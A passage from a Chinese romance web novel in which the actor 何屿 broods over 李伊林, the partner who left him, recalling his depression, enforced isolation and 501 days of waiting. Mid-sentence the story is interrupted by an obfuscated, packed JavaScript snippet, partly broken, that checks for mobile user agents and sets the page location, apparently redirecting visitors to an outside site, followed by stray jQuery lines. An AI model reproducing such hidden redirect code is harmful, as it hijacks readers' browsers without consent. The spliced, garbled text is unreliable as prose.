，在李伊林的小荧幕里，成为位于最中央的讲述者。

    他很喜欢一条高赞评论。“在你这里，我记住了每一个她的名字。看见她们的同时，我看见的是被隐形的我自己。”

    *

    她从未提过「何屿」这个名字。只是在他生日时，她会发一条只有图片没有文字的空白帖。去年，她发了一条雪中红枫。今年，她发了一条自己的背影。穿的是他曾亲手给她穿上的，属于「何屿」的衣物。

    这张背影，她发送在他生日的零点零时。他在手机屏幕前长久的凝视她的背影，阻止不了的想念她，怨恨她，理解她，爱着她。

    *

    他总是想让自己忘掉李伊林离开的那段日子。从混沌的沉眠中醒来，只有经纪人陪在身边。他被告知，自己睡了一天一夜。如果再不醒来，方华或许会把他转移去私人医院。

    一开始，他认为伊林是去上班了，想给她发微信自己已经醒来，让她不要担心，今晚回来一起吃饭。但是他找不到自己的手机。经纪人告诉他，她已经离开了。

    *

    那段时间，他哪里都不去，只在家里待着。助理在客房住下，和管家一起照顾他的生活起居。他的手机被助理收着，一切必要事项会当面告知。他知道，这是方华在强制他切断联系。尽管他再一次陷入无知无觉的抑郁，但讽刺的是，他的睡眠状态却恢复正常，没有失眠，更不再嗜睡。他的愤怒、抑郁、孤独，与他的健康作息齐头并进，荒诞可笑。

    他对她的愤怒持续了整整两周。不被准许使用手机，他就在脑中构想。他构想后悔的她，构想孤独的她，构想等他拿回手机，里面全都是李伊林发给他的日思夜想。他构想下一秒她就会推门进来，他才不要理她，而她会像热恋时那样，单膝跪在沙发前，充满宠溺的吻他，温柔的请他原谅。

    他会原谅她。只要她推门进来，他就会原谅她。他会告诉她，不要把命运对他的诅咒揽到自己身上。失眠，嗜睡，都只是他的问题。也不要再去考虑「明星何屿」对她造成的负担，他会去做一名两点一线、远离声名的话剧演员。在那段热烈迅疾的恋情中所出现的一切问题，都会不复存在。只要她回来，只要她推开那扇从未对她关闭的门，他就能原谅她，拥抱她，亲吻她，掏出正在跳动的心告诉她，自己依然属于她。

    *

    他等了她501天。看着她不断出现在曾经被舍弃的社交平台里。看着她变得黑瘦，坚韧。看着她离何屿越来越远，离曾经的李伊林越来越近。

    他知道，现在的她过得很好。她逃出了围困其中的金丝牢笼，也不再与「演员何屿」带来的侮辱谩骂有任何关系。她完全专

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16714868|169676||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    注于真正想做的事业，并将它做到力所能及的优秀。或许在她的世界里，何屿，已经变成了一个只会被缅怀的名字。在他生日时怜爱的纪念一下，在粗粝环境中稍稍记起曾与他共度的日子，而后埋头向前，继续赶路。

    这就是他所起的作用。

    *

    想到这里，他的情绪又开始变坏。

    他不再看屏幕里的李伊林。熄灭手机关掉壁灯，把自己埋进被子里。

    孤独像一种隐秘的、没有解药的疾病，在安静中包裹着他。